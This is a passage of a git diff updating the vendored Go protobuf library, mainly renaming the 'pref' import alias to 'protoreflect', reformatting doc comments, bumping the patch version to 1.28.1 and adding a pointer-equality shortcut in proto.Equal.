{ if *w == nil { *w = make(weakFields) } (*w)[int32(num)] = m } -func (w *weakFields) clear(num pref.FieldNumber) { +func (w *weakFields) clear(num protoreflect.FieldNumber) { delete(*w, int32(num)) } -func (Export) HasWeak(w WeakFields, num pref.FieldNumber) bool { +func (Export) HasWeak(w WeakFields, num protoreflect.FieldNumber) bool { _, ok := w[int32(num)] return ok } -func (Export) ClearWeak(w *WeakFields, num pref.FieldNumber) { +func (Export) ClearWeak(w *WeakFields, num protoreflect.FieldNumber) { delete(*w, int32(num)) } -func (Export) GetWeak(w WeakFields, num pref.FieldNumber, name pref.FullName) pref.ProtoMessage { +func (Export) GetWeak(w WeakFields, num protoreflect.FieldNumber, name protoreflect.FullName) protoreflect.ProtoMessage { if m, ok := w[int32(num)]; ok { return m } @@ -53,7 +53,7 @@ func (Export) GetWeak(w WeakFields, num pref.FieldNumber, name pref.FullName) pr return mt.Zero().Interface() } -func (Export) SetWeak(w *WeakFields, num pref.FieldNumber, name pref.FullName, m pref.ProtoMessage) { +func (Export) SetWeak(w *WeakFields, num protoreflect.FieldNumber, name protoreflect.FullName, m protoreflect.ProtoMessage) { if m != nil { mt, _ := protoregistry.GlobalTypes.FindMessageByName(name) if mt == nil { diff --git a/vendor/google.golang.org/protobuf/internal/order/order.go b/vendor/google.golang.org/protobuf/internal/order/order.go index 2a24953f6..33745ed06 100644 --- a/vendor/google.golang.org/protobuf/internal/order/order.go +++ b/vendor/google.golang.org/protobuf/internal/order/order.go @@ -5,12 +5,12 @@ package order import ( - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) // FieldOrder specifies the ordering to visit message fields. // It is a function that reports whether x is ordered before y. -type FieldOrder func(x, y pref.FieldDescriptor) bool +type FieldOrder func(x, y protoreflect.FieldDescriptor) bool var ( // AnyFieldOrder specifies no specific field ordering. @@ -18,9 +18,9 @@ var ( // LegacyFieldOrder sorts fields in the same ordering as emitted by // wire serialization in the github.com/golang/protobuf implementation. - LegacyFieldOrder FieldOrder = func(x, y pref.FieldDescriptor) bool { + LegacyFieldOrder FieldOrder = func(x, y protoreflect.FieldDescriptor) bool { ox, oy := x.ContainingOneof(), y.ContainingOneof() - inOneof := func(od pref.OneofDescriptor) bool { + inOneof := func(od protoreflect.OneofDescriptor) bool { return od != nil && !od.IsSynthetic() } @@ -41,14 +41,14 @@ var ( } // NumberFieldOrder sorts fields by their field number. - NumberFieldOrder FieldOrder = func(x, y pref.FieldDescriptor) bool { + NumberFieldOrder FieldOrder = func(x, y protoreflect.FieldDescriptor) bool { return x.Number() < y.Number() } // IndexNameFieldOrder sorts non-extension fields before extension fields. // Non-extensions are sorted according to their declaration index. // Extensions are sorted according to their full name. - IndexNameFieldOrder FieldOrder = func(x, y pref.FieldDescriptor) bool { + IndexNameFieldOrder FieldOrder = func(x, y protoreflect.FieldDescriptor) bool { // Non-extension fields sort before extension fields. if x.IsExtension() != y.IsExtension() { return !x.IsExtension() && y.IsExtension() @@ -64,7 +64,7 @@ var ( // KeyOrder specifies the ordering to visit map entries. // It is a function that reports whether x is ordered before y. -type KeyOrder func(x, y pref.MapKey) bool +type KeyOrder func(x, y protoreflect.MapKey) bool var ( // AnyKeyOrder specifies no specific key ordering. @@ -72,7 +72,7 @@ var ( // GenericKeyOrder sorts false before true, numeric keys in ascending order, // and strings in lexicographical ordering according to UTF-8 codepoints. - GenericKeyOrder KeyOrder = func(x, y pref.MapKey) bool { + GenericKeyOrder KeyOrder = func(x, y protoreflect.MapKey) bool { switch x.Interface().(type) { case bool: return !x.Bool() && y.Bool() diff --git a/vendor/google.golang.org/protobuf/internal/order/range.go b/vendor/google.golang.org/protobuf/internal/order/range.go index c8090e0c5..1665a68e5 100644 --- a/vendor/google.golang.org/protobuf/internal/order/range.go +++ b/vendor/google.golang.org/protobuf/internal/order/range.go @@ -9,12 +9,12 @@ import ( "sort" "sync" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) type messageField struct { - fd pref.FieldDescriptor - v pref.Value + fd protoreflect.FieldDescriptor + v protoreflect.Value } var messageFieldPool = sync.Pool{ @@ -25,8 +25,8 @@ type ( // FieldRnger is an interface for visiting all fields in a message. // The protoreflect.Message type implements this interface. FieldRanger interface{ Range(VisitField) } - // VisitField is called everytime a message field is visited. - VisitField = func(pref.FieldDescriptor, pref.Value) bool + // VisitField is called every time a message field is visited. + VisitField = func(protoreflect.FieldDescriptor, protoreflect.Value) bool ) // RangeFields iterates over the fields of fs according to the specified order. @@ -47,7 +47,7 @@ func RangeFields(fs FieldRanger, less FieldOrder, fn VisitField) { }() // Collect all fields in the message and sort them. - fs.Range(func(fd pref.FieldDescriptor, v pref.Value) bool { + fs.Range(func(fd protoreflect.FieldDescriptor, v protoreflect.Value) bool { fields = append(fields, messageField{fd, v}) return true }) @@ -64,8 +64,8 @@ func RangeFields(fs FieldRanger, less FieldOrder, fn VisitField) { } type mapEntry struct { - k pref.MapKey - v pref.Value + k protoreflect.MapKey + v protoreflect.Value } var mapEntryPool = sync.Pool{ @@ -76,8 +76,8 @@ type ( // EntryRanger is an interface for visiting all fields in a message. // The protoreflect.Map type implements this interface. EntryRanger interface{ Range(VisitEntry) } - // VisitEntry is called everytime a map entry is visited. - VisitEntry = func(pref.MapKey, pref.Value) bool + // VisitEntry is called every time a map entry is visited. + VisitEntry = func(protoreflect.MapKey, protoreflect.Value) bool ) // RangeEntries iterates over the entries of es according to the specified order. @@ -98,7 +98,7 @@ func RangeEntries(es EntryRanger, less KeyOrder, fn VisitEntry) { }() // Collect all entries in the map and sort them. - es.Range(func(k pref.MapKey, v pref.Value) bool { + es.Range(func(k protoreflect.MapKey, v protoreflect.Value) bool { entries = append(entries, mapEntry{k, v}) return true }) diff --git a/vendor/google.golang.org/protobuf/internal/strs/strings_unsafe.go b/vendor/google.golang.org/protobuf/internal/strs/strings_unsafe.go index 56a8a4ed3..fea589c45 100644 --- a/vendor/google.golang.org/protobuf/internal/strs/strings_unsafe.go +++ b/vendor/google.golang.org/protobuf/internal/strs/strings_unsafe.go @@ -10,7 +10,7 @@ package strs import ( "unsafe" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) type ( @@ -59,7 +59,7 @@ type Builder struct { // AppendFullName is equivalent to protoreflect.FullName.Append, // but optimized for large batches where each name has a shared lifetime. -func (sb *Builder) AppendFullName(prefix pref.FullName, name pref.Name) pref.FullName { +func (sb *Builder) AppendFullName(prefix protoreflect.FullName, name protoreflect.Name) protoreflect.FullName { n := len(prefix) + len(".") + len(name) if len(prefix) == 0 { n -= len(".") @@ -68,7 +68,7 @@ func (sb *Builder) AppendFullName(prefix pref.FullName, name pref.Name) pref.Ful sb.buf = append(sb.buf, prefix...) sb.buf = append(sb.buf, '.') sb.buf = append(sb.buf, name...) - return pref.FullName(sb.last(n)) + return protoreflect.FullName(sb.last(n)) } // MakeString is equivalent to string(b), but optimized for large batches diff --git a/vendor/google.golang.org/protobuf/internal/version/version.go b/vendor/google.golang.org/protobuf/internal/version/version.go index 3d40d5249..b480c5010 100644 --- a/vendor/google.golang.org/protobuf/internal/version/version.go +++ b/vendor/google.golang.org/protobuf/internal/version/version.go @@ -12,54 +12,54 @@ import ( // These constants determine the current version of this module. // -// // For our release process, we enforce the following rules: -// * Tagged releases use a tag that is identical to String. -// * Tagged releases never reference a commit where the String -// contains "devel". -// * The set of all commits in this repository where String -// does not contain "devel" must have a unique String. -// +// - Tagged releases use a tag that is identical to String. +// - Tagged releases never reference a commit where the String +// contains "devel". +// - The set of all commits in this repository where String +// does not contain "devel" must have a unique String. // // Steps for tagging a new release: -// 1. Create a new CL. // -// 2. Update Minor, Patch, and/or PreRelease as necessary. -// PreRelease must not contain the string "devel". +// 1. Create a new CL. // -// 3. Since the last released minor version, have there been any changes to -// generator that relies on new functionality in the runtime? -// If yes, then increment RequiredGenerated. +// 2. Update Minor, Patch, and/or PreRelease as necessary. +// PreRelease must not contain the string "devel". // -// 4. Since the last released minor version, have there been any changes to -// the runtime that removes support for old .pb.go source code? -// If yes, then increment SupportMinimum. +// 3. Since the last released minor version, have there been any changes to +// generator that relies on new functionality in the runtime? +// If yes, then increment RequiredGenerated. // -// 5. Send out the CL for review and submit it. -// Note that the next CL in step 8 must be submitted after this CL -// without any other CLs in-between. +// 4. Since the last released minor version, have there been any changes to +// the runtime that removes support for old .pb.go source code? +// If yes, then increment SupportMinimum. // -// 6. Tag a new version, where the tag is is the current String. +// 5. Send out the CL for review and submit it. +// Note that the next CL in step 8 must be submitted after this CL +// without any other CLs in-between. // -// 7. Write release notes for all notable changes -// between this release and the last release. +// 6. Tag a new version, where the tag is is the current String. // -// 8. Create a new CL. +// 7. Write release notes for all notable changes +// between this release and the last release. // -// 9. Update PreRelease to include the string "devel". -// For example: "" -> "devel" or "rc.1" -> "rc.1.devel" +// 8. Create a new CL. // -// 10. Send out the CL for review and submit it. +// 9. Update PreRelease to include the string "devel". +// For example: "" -> "devel" or "rc.1" -> "rc.1.devel" +// +// 10. Send out the CL for review and submit it. const ( Major = 1 Minor = 28 - Patch = 0 + Patch = 1 PreRelease = "" ) // String formats the version string for this module in semver format. // // Examples: +// // v1.20.1 // v1.21.0-rc.1 func String() string { diff --git a/vendor/google.golang.org/protobuf/proto/decode.go b/vendor/google.golang.org/protobuf/proto/decode.go index 11bf7173b..48d47946b 100644 --- a/vendor/google.golang.org/protobuf/proto/decode.go +++ b/vendor/google.golang.org/protobuf/proto/decode.go @@ -19,7 +19,8 @@ import ( // UnmarshalOptions configures the unmarshaler. // // Example usage: -// err := UnmarshalOptions{DiscardUnknown: true}.Unmarshal(b, m) +// +// err := UnmarshalOptions{DiscardUnknown: true}.Unmarshal(b, m) type UnmarshalOptions struct { pragma.NoUnkeyedLiterals diff --git a/vendor/google.golang.org/protobuf/proto/doc.go b/vendor/google.golang.org/protobuf/proto/doc.go index c52d8c4ab..08d2a46f5 100644 --- a/vendor/google.golang.org/protobuf/proto/doc.go +++ b/vendor/google.golang.org/protobuf/proto/doc.go @@ -6,18 +6,17 @@ // // For documentation on protocol buffers in general, see: // -// https://developers.google.com/protocol-buffers +// https://developers.google.com/protocol-buffers // // For a tutorial on using protocol buffers with Go, see: // -// https://developers.google.com/protocol-buffers/docs/gotutorial +// https://developers.google.com/protocol-buffers/docs/gotutorial // // For a guide to generated Go protocol buffer code, see: // -// https://developers.google.com/protocol-buffers/docs/reference/go-generated +// https://developers.google.com/protocol-buffers/docs/reference/go-generated // -// -// Binary serialization +// # Binary serialization // // This package contains functions to convert to and from the wire format, // an efficient binary serialization of protocol buffers. @@ -30,8 +29,7 @@ // • Unmarshal converts a message from the wire format. // The UnmarshalOptions type provides more control over wire unmarshaling. // -// -// Basic message operations +// # Basic message operations // // • Clone makes a deep copy of a message. // @@ -45,8 +43,7 @@ // // • CheckInitialized reports whether all required fields in a message are set. // -// -// Optional scalar constructors +// # Optional scalar constructors // // The API for some generated messages represents optional scalar fields // as pointers to a value. For example, an optional string field has the @@ -61,16 +58,14 @@ // // Optional scalar fields are only supported in proto2. // -// -// Extension accessors +// # Extension accessors // // • HasExtension, GetExtension, SetExtension, and ClearExtension // access extension field values in a protocol buffer message. // // Extension fields are only supported in proto2. // -// -// Related packages +// # Related packages // // • Package "google.golang.org/protobuf/encoding/protojson" converts messages to // and from JSON. diff --git a/vendor/google.golang.org/protobuf/proto/encode.go b/vendor/google.golang.org/protobuf/proto/encode.go index d18239c23..bf7f816d0 100644 --- a/vendor/google.golang.org/protobuf/proto/encode.go +++ b/vendor/google.golang.org/protobuf/proto/encode.go @@ -16,7 +16,8 @@ import ( // MarshalOptions configures the marshaler. // // Example usage: -// b, err := MarshalOptions{Deterministic: true}.Marshal(m) +// +// b, err := MarshalOptions{Deterministic: true}.Marshal(m) type MarshalOptions struct { pragma.NoUnkeyedLiterals @@ -101,7 +102,9 @@ func (o MarshalOptions) Marshal(m Message) ([]byte, error) { // otherwise it returns a non-nil empty buffer. // // This is to assist the edge-case where user-code does the following: +// // m1.OptionalBytes, _ = proto.Marshal(m2) +// // where they expect the proto2 "optional_bytes" field to be populated // if any only if m2 is a valid message. func emptyBytesForMessage(m Message) []byte { diff --git a/vendor/google.golang.org/protobuf/proto/equal.go b/vendor/google.golang.org/protobuf/proto/equal.go index 4dba2b969..67948dd1d 100644 --- a/vendor/google.golang.org/protobuf/proto/equal.go +++ b/vendor/google.golang.org/protobuf/proto/equal.go @@ -10,7 +10,7 @@ import ( "reflect" "google.golang.org/protobuf/encoding/protowire" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) // Equal reports whether two messages are equal. @@ -33,6 +33,10 @@ func Equal(x, y Message) bool { if x == nil || y == nil { return x == nil && y == nil } + if reflect.TypeOf(x).Kind() == reflect.Ptr && x == y { + // Avoid an expensive comparison if both inputs are identical pointers. + return true + } mx := x.ProtoReflect() my := y.ProtoReflect() if mx.IsValid() != my.IsValid() { @@ -42,14 +46,14 @@ func Equal(x, y Message) bool { } // equalMessage compares two messages. -func equalMessage(mx, my pref.Message) bool { +func equalMessage(mx, my protoreflect.Message) bool { if mx.Descriptor() != my.Descriptor() { return false } nx := 0 equal := true - mx.Range(func(fd pref.FieldDescriptor, vx pref.Value) bool { + mx.Range(func(fd protoreflect.FieldDescriptor, vx protoreflect.Value) bool { nx++ vy := my.Get(fd) equal = my.Has(fd) && equalField(fd, vx, vy) @@ -59,7 +63,7 @@ func equalMessage(mx, my pref.Message) bool { return false } ny := 0 - my.Range(func(fd pref.FieldDescriptor, vx pref.Value) bool { + my.Range(func(fd protoreflect.FieldDescriptor, vx protoreflect.Value) bool { ny++ return true }) @@ -71,7 +75,7 @@ func equalMessage(mx, my pref.Message) bool { } // equalField compares two fields. -func equalField(fd pref.FieldDescriptor, x, y pref.Value) bool { +func equalField(fd protoreflect.FieldDescriptor, x, y protoreflect.Value) bool { switch { case fd.IsList(): return equalList(fd, x.List(), y.List()) @@ -83,12 +87,12 @@ func equalField(fd pref.FieldDescriptor, x, y pref.Value) bool { } // equalMap compares two maps. -func equalMap(fd pref.FieldDescriptor, x, y pref.Map) bool { +func equalMap(fd protoreflect.FieldDescriptor, x, y protoreflect.Map) bool { if x.Len() != y.Len() { return false } equal := true - x.Range(func(k pref.MapKey, vx pref.Value) bool { + x.Range(func(k protoreflect.MapKey, vx protoreflect.Value) bool { vy := y.Get(k) equal = y.Has(k) && equalValue(fd.MapValue(), vx, vy) return equal @@ -97,7 +101,7 @@ func equalMap(fd pref.FieldDescriptor, x, y pref.Map) bool { } // equalList compares two lists. -func equalList(fd pref.FieldDescriptor, x, y pref.List) bool { +func equalList(fd protoreflect.FieldDescriptor, x, y protoreflect.List) bool { if x.Len() != y.Len() { return false } @@ -110,31 +114,31 @@ func equalList(fd pref.FieldDescriptor, x, y pref.List) bool { } // equalValue compares two singular values. -func equalValue(fd pref.FieldDescriptor, x, y pref.Value) bool { +func equalValue(fd protoreflect.FieldDescriptor, x, y protoreflect.Value) bool { switch fd.Kind() { - case pref.BoolKind: + case protoreflect.BoolKind: return x.Bool() == y.Bool() - case pref.EnumKind: + case protoreflect.EnumKind: return x.Enum() == y.Enum() - case pref.Int32Kind, pref.Sint32Kind, - pref.Int64Kind, pref.Sint64Kind, - pref.Sfixed32Kind, pref.Sfixed64Kind: + case protoreflect.Int32Kind, protoreflect.Sint32Kind, + protoreflect.Int64Kind, protoreflect.Sint64Kind, + protoreflect.Sfixed32Kind, protoreflect.Sfixed64Kind: return x.Int() == y.Int() - case pref.Uint32Kind, pref.Uint64Kind, - pref.Fixed32Kind, pref.Fixed64Kind: + case protoreflect.Uint32Kind, protoreflect.Uint64Kind, + protoreflect.Fixed32Kind, protoreflect.Fixed64Kind: return x.Uint() == y.Uint() - case pref.FloatKind, pref.DoubleKind: + case protoreflect.FloatKind, protoreflect.DoubleKind: fx := x.Float() fy := y.Float() if math.IsNaN(fx) || math.IsNaN(fy) { return math.IsNaN(fx) && math.IsNaN(fy) } return fx == fy - case pref.StringKind: + case protoreflect.StringKind: return x.String() == y.String() - case pref.BytesKind: + case protoreflect.BytesKind: return bytes.Equal(x.Bytes(), y.Bytes()) - case pref.MessageKind, pref.GroupKind: + case protoreflect.MessageKind, protoreflect.GroupKind: return equalMessage(x.Message(), y.Message()) default: return x.Interface() == y.Interface() @@ -143,7 +147,7 @@ func equalValue(fd pref.FieldDescriptor, x, y pref.Value) bool { // equalUnknown compares unknown fields by direct comparison on the raw bytes // of each individual field number. -func equalUnknown(x, y pref.RawFields) bool { +func equalUnknown(x, y protoreflect.RawFields) bool { if len(x) != len(y) { return false } @@ -151,8 +155,8 @@ func equalUnknown(x, y pref.RawFields) bool { return true } - mx := make(map[pref.FieldNumber]pref.RawFields) - my := make(map[pref.FieldNumber]pref.RawFields) + mx := make(map[protoreflect.FieldNumber]protoreflect.RawFields) + my := make(map[protoreflect.FieldNumber]protoreflect.RawFields) for len(x) > 0 { fnum, _, n := protowire.ConsumeField(x) mx[fnum] = append(mx[fnum], x[:n]...) diff --git a/vendor/google.golang.org/protobuf/reflect/protodesc/desc_resolve.go b/vendor/google.golang.org/protobuf/reflect/protodesc/desc_resolve.go index cebb36cda..27d7e3501 100644 --- a/vendor/google.golang.org/protobuf/reflect/protodesc/desc_resolve.go +++ b/vendor/google.golang.org/protobuf/reflect/protodesc/desc_resolve.go @@ -155,9 +155,9 @@ func (r *resolver) findTarget(k protoreflect.Kind, scope protoreflect.FullName, // // Suppose the scope was "fizz.buzz" and the reference was "Foo.Bar", // then the following full names are searched: -// * fizz.buzz.Foo.Bar -// * fizz.Foo.Bar -// * Foo.Bar +// - fizz.buzz.Foo.Bar +// - fizz.Foo.Bar +// - Foo.Bar func (r *resolver) findDescriptor(scope protoreflect.FullName, ref partialName) (protoreflect.Descriptor, error) { if !ref.IsValid() { return nil, errors.New("invalid name reference: %q", ref) diff --git a/vendor/google.golang.org/protobuf/reflect/protoreflect/proto.go b/vendor/google.golang.org/protobuf/reflect/protoreflect/proto.go index dd85915bd..55aa14922 100644 --- a/vendor/google.golang.org/protobuf/reflect/protoreflect/proto.go +++ b/vendor/google.golang.org/protobuf/reflect/protoreflect/proto.go @@ -8,8 +8,7 @@ // defined in proto source files and value interfaces which provide the // ability to examine and manipulate the contents of messages. // -// -// Protocol Buffer Descriptors +// # Protocol Buffer Descriptors // // Protobuf descriptors (e.g., EnumDescriptor or MessageDescriptor) // are immutable objects that represent protobuf type information. @@ -26,8 +25,7 @@ // The "google.golang.org/protobuf/reflect/protodesc" package converts between // google.protobuf.DescriptorProto messages and protobuf descriptors. // -// -// Go Type Descriptors +// # Go Type Descriptors // // A type descriptor (e.g., EnumType or MessageType) is a constructor for // a concrete Go type that represents the associated protobuf descriptor. @@ -41,8 +39,7 @@ // The "google.golang.org/protobuf/types/dynamicpb" package can be used to // create Go type descriptors from protobuf descriptors. // -// -// Value Interfaces +// # Value Interfaces // // The Enum and Message interfaces provide a reflective view over an // enum or message instance. For enums, it provides the ability to retrieve @@ -55,13 +52,11 @@ // The "github.com/golang/protobuf/proto".MessageReflect function can be used // to obtain a reflective view on older messages. // -// -// Relationships +// # Relationships // // The following diagrams demonstrate the relationships between // various types declared in this package. // -// // ┌───────────────────────────────────┐ // V │ // ┌────────────── New(n) ─────────────┐ │ @@ -83,7 +78,6 @@ // // • An Enum is a concrete enum instance. Generated enums implement Enum. // -// // ┌──────────────── New() ─────────────────┐ // │ │ // │ ┌─── Descriptor() ─────┐ │ ┌── Interface() ───┐ @@ -98,12 +92,22 @@ // // • A MessageType describes a concrete Go message type. // It has a MessageDescriptor and can construct a Message instance. +// Just as how Go's reflect.Type is a reflective description of a Go type, +// a MessageType is a reflective description of a Go type for a protobuf message. // // • A MessageDescriptor describes an abstract protobuf message type. -// -// • A Message is a concrete message instance. Generated messages implement -// ProtoMessage, which can convert to/from a Message. -// +// It has no understanding of Go types. In order to construct a MessageType +// from just a MessageDescriptor, you can consider looking up the message type +// in the global registry using protoregistry.GlobalTypes.FindMessageByName +// or constructing a dynamic MessageType using dynamicpb.NewMessageType. +// +// • A Message is a reflective view over a concrete message instance. +// Generated messages implement ProtoMessage, which can convert to a Message. +// Just as how Go's reflect.Value is a reflective view over a Go value, +// a Message is a reflective view over a concrete protobuf message instance. +// Using Go reflection as an analogy, the ProtoReflect method is similar to +// calling reflect.ValueOf, and the Message.Interface method is similar to +// calling reflect.Value.Interface. // // ┌── TypeDescriptor() ──┐ ┌───── Descriptor() ─────┐ // │ V │ V diff --git a/vendor/google.golang.org/protobuf/reflect/protoreflect/source.go b/vendor/google.golang.org/protobuf/reflect/protoreflect/source.go index 121ba3a07..0b9942885 100644 --- a/vendor/google.golang.org/protobuf/reflect/protoreflect/source.go +++ b/vendor/google.golang.org/protobuf/reflect/protoreflect/source.go @@ -87,6 +87,7 @@ func (p1 SourcePath) Equal(p2 SourcePath) bool { // in a future version of this module. // // Example output: +// // .message_type[6].nested_type[15].field[3] func (p SourcePath) String() string { b := p.appendFileDescriptorProto(nil) diff --git a/vendor/google.golang.org/protobuf/reflect/protoreflect/type.go b/vendor/google.golang.org/protobuf/reflect/protoreflect/type.go index 8e53c44a9..3867470d3 100644 --- a/vendor/google.golang.org/protobuf/reflect/protoreflect/type.go +++ b/vendor/google.golang.org/protobuf/reflect/protoreflect/type.go @@ -480,6 +480,7 @@ type ExtensionDescriptors interface { // relative to the parent that it is declared within. // // For example: +// // syntax = "proto2"; // package example; // message FooMessage { diff --git a/vendor/google.golang.org/protobuf/reflect/protoreflect/value_union.go b/vendor/google.golang.org/protobuf/reflect/protoreflect/value_union.go index eb7764c30..ca8e28c5b 100644 --- a/vendor/google.golang.org/protobuf/reflect/protoreflect/value_union.go +++ b/vendor/google.golang.org/protobuf/reflect/protoreflect/value_union.go @@ -50,6 +50,7 @@ import ( // always references the source object. // // For example: +// // // Append a 0 to a "repeated int32" field. // // Since the Value returned by Mutable is guaranteed to alias // // the source message, modifying the Value modifies the message. @@ -392,6 +393,7 @@ func (v Value) MapKey() MapKey { // ╚═════════╧═════════════════════════════════════╝ // // A MapKey is constructed and accessed through a Value: +// // k := ValueOf("hash").MapKey() // convert string to MapKey // s := k.String() // convert MapKey to string // diff --git a/vendor/google.golang.org/protobuf/reflect/protoregistry/registry.go b/vendor/google.golang.org/protobuf/reflect/protoregistry/registry.go index 59f024c44..58352a697 100644 --- a/vendor/google.golang.org/protobuf/reflect/protoregistry/registry.go +++ b/vendor/google.golang.org/protobuf/reflect/protoregistry/registry.go @@ -30,9 +30,11 @@ import ( // conflictPolicy configures the policy for handling registration conflicts. // // It can be over-written at compile time with a linker-initialized variable: +// // go build -ldflags "-X google.golang.org/protobuf/reflect/protoregistry.conflictPolicy=warn" // // It can be over-written at program execution with an environment variable: +// // GOLANG_PROTOBUF_REGISTRATION_CONFLICT=warn ./main // // Neither of the above are covered by the compatibility promise and diff --git a/vendor/google.golang.org/protobuf/runtime/protoimpl/version.go b/vendor/google.golang.org/protobuf/runtime/protoimpl/version.go index ff094e1ba..a105cb23e 100644 --- a/vendor/google.golang.org/protobuf/runtime/protoimpl/version.go +++ b/vendor/google.golang.org/protobuf/runtime/protoimpl/version.go @@ -26,16 +26,19 @@ const ( // EnforceVersion is used by code generated by protoc-gen-go // to statically enforce minimum and maximum versions of this package. // A compilation failure implies either that: -// * the runtime package is too old and needs to be updated OR -// * the generated code is too old and needs to be regenerated. +// - the runtime package is too old and needs to be updated OR +// - the generated code is too old and needs to be regenerated. // // The runtime package can be upgraded by running: +// // go get google.golang.org/protobuf // // The generated code can be regenerated by running: +// // protoc --go_out=${PROTOC_GEN_GO_ARGS} ${PROTO_FILES} // // Example usage by generated code: +// // const ( // // Verify that this generated code is sufficiently up-to-date. // _ = protoimpl.EnforceVersion(genVersion - protoimpl.MinVersion) @@ -49,6 +52,7 @@ const ( type EnforceVersion uint // This enforces the following invariant: +// // MinVersion ≤ GenVersion ≤ MaxVersion const ( _ = EnforceVersion(GenVersion - MinVersion) diff --git a/vendor/google.golang.org/protobuf/types/dynamicpb/dynamic.go b/vendor/google.golang.org/protobuf/types/dynamicpb/dynamic.go index 900b9d287..f77ef0de1 100644 --- a/vendor/google.golang.org/protobuf/types/dynamicpb/dynamic.go +++ b/vendor/google.golang.org/protobuf/types/dynamicpb/dynamic.go @@ -9,24 +9,24 @@ import ( "math" "google.golang.org/protobuf/internal/errors" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" "google.golang.org/protobuf/runtime/protoiface" "google.golang.org/protobuf/runtime/protoimpl" ) // enum is a dynamic protoreflect.Enum. type enum struct { - num pref.EnumNumber - typ pref.EnumType + num protoreflect.EnumNumber + typ protoreflect.EnumType } -func (e enum) Descriptor() pref.EnumDescriptor { return e.typ.Descriptor() } -func (e enum) Type() pref.EnumType { return e.typ } -func (e enum) Number() pref.EnumNumber { return e.num } +func (e enum) Descriptor() protoreflect.EnumDescriptor { return e.typ.Descriptor() } +func (e enum) Type() protoreflect.EnumType { return e.typ } +func (e enum) Number() protoreflect.EnumNumber { return e.num } // enumType is a dynamic protoreflect.EnumType. type enumType struct { - desc pref.EnumDescriptor + desc protoreflect.EnumDescriptor } // NewEnumType creates a new EnumType with the provided descriptor. @@ -35,12 +35,12 @@ type enumType struct { // That is, if ed1 == ed2, then NewEnumType(ed1) == NewEnumType(ed2). // // Enum values created by the EnumType are equal if their numbers are equal. -func NewEnumType(desc pref.EnumDescriptor) pref.EnumType { +func NewEnumType(desc protoreflect.EnumDescriptor) protoreflect.EnumType { return enumType{desc} } -func (et enumType) New(n pref.EnumNumber) pref.Enum { return enum{n, et} } -func (et enumType) Descriptor() pref.EnumDescriptor { return et.desc } +func (et enumType) New(n protoreflect.EnumNumber) protoreflect.Enum { return enum{n, et} } +func (et enumType) Descriptor() protoreflect.EnumDescriptor { return et.desc } // extensionType is a dynamic protoreflect.ExtensionType. type extensionType struct { @@ -64,23 +64,23 @@ type extensionType struct { // Operations which modify a Message are not safe for concurrent use. type Message struct { typ messageType - known map[pref.FieldNumber]pref.Value - ext map[pref.FieldNumber]pref.FieldDescriptor - unknown pref.RawFields + known map[protoreflect.FieldNumber]protoreflect.Value + ext map[protoreflect.FieldNumber]protoreflect.FieldDescriptor + unknown protoreflect.RawFields } var ( - _ pref.Message = (*Message)(nil) - _ pref.ProtoMessage = (*Message)(nil) - _ protoiface.MessageV1 = (*Message)(nil) + _ protoreflect.Message = (*Message)(nil) + _ protoreflect.ProtoMessage = (*Message)(nil) + _ protoiface.MessageV1 = (*Message)(nil) ) // NewMessage creates a new message with the provided descriptor. -func NewMessage(desc pref.MessageDescriptor) *Message { +func NewMessage(desc protoreflect.MessageDescriptor) *Message { return &Message{ typ: messageType{desc}, - known: make(map[pref.FieldNumber]pref.Value), - ext: make(map[pref.FieldNumber]pref.FieldDescriptor), + known: make(map[protoreflect.FieldNumber]protoreflect.Value), + ext: make(map[protoreflect.FieldNumber]protoreflect.FieldDescriptor), } } @@ -88,7 +88,7 @@ func NewMessage(desc pref.MessageDescriptor) *Message { func (m *Message) ProtoMessage() {} // ProtoReflect implements the protoreflect.ProtoMessage interface. -func (m *Message) ProtoReflect() pref.Message { +func (m *Message) ProtoReflect() protoreflect.Message { return m } @@ -99,30 +99,30 @@ func (m *Message) String() string { // Reset clears the message to be empty, but preserves the dynamic message type. func (m *Message) Reset() { - m.known = make(map[pref.FieldNumber]pref.Value) - m.ext = make(map[pref.FieldNumber]pref.FieldDescriptor) + m.known = make(map[protoreflect.FieldNumber]protoreflect.Value) + m.ext = make(map[protoreflect.FieldNumber]protoreflect.FieldDescriptor) m.unknown = nil } // Descriptor returns the message descriptor. -func (m *Message) Descriptor() pref.MessageDescriptor { +func (m *Message) Descriptor() protoreflect.MessageDescriptor { return m.typ.desc } // Type returns the message type. -func (m *Message) Type() pref.MessageType { +func (m *Message) Type() protoreflect.MessageType { return m.typ } // New returns a newly allocated empty message with the same descriptor. // See protoreflect.Message for details. -func (m *Message) New() pref.Message { +func (m *Message) New() protoreflect.Message { return m.Type().New() } // Interface returns the message. // See protoreflect.Message for details. -func (m *Message) Interface() pref.ProtoMessage { +func (m *Message) Interface() protoreflect.ProtoMessage { return m } @@ -134,7 +134,7 @@ func (m *Message) ProtoMethods() *protoiface.Methods { // Range visits every populated field in undefined order. // See protoreflect.Message for details. -func (m *Message) Range(f func(pref.FieldDescriptor, pref.Value) bool) { +func (m *Message) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) { for num, v := range m.known { fd := m.ext[num] if fd == nil { @@ -151,7 +151,7 @@ func (m *Message) Range(f func(pref.FieldDescriptor, pref.Value) bool) { // Has reports whether a field is populated. // See protoreflect.Message for details. -func (m *Message) Has(fd pref.FieldDescriptor) bool { +func (m *Message) Has(fd protoreflect.FieldDescriptor) bool { m.checkField(fd) if fd.IsExtension() && m.ext[fd.Number()] != fd { return false @@ -165,7 +165,7 @@ func (m *Message) Has(fd pref.FieldDescriptor) bool { // Clear clears a field. // See protoreflect.Message for details. -func (m *Message) Clear(fd pref.FieldDescriptor) { +func (m *Message) Clear(fd protoreflect.FieldDescriptor) { m.checkField(fd) num := fd.Number() delete(m.known, num) @@ -174,12 +174,12 @@ func (m *Message) Clear(fd pref.FieldDescriptor) { // Get returns the value of a field. // See protoreflect.Message for details. -func (m *Message) Get(fd pref.FieldDescriptor) pref.Value { +func (m *Message) Get(fd protoreflect.FieldDescriptor) protoreflect.Value { m.checkField(fd) num := fd.Number() if fd.IsExtension() { if fd != m.ext[num] { - return 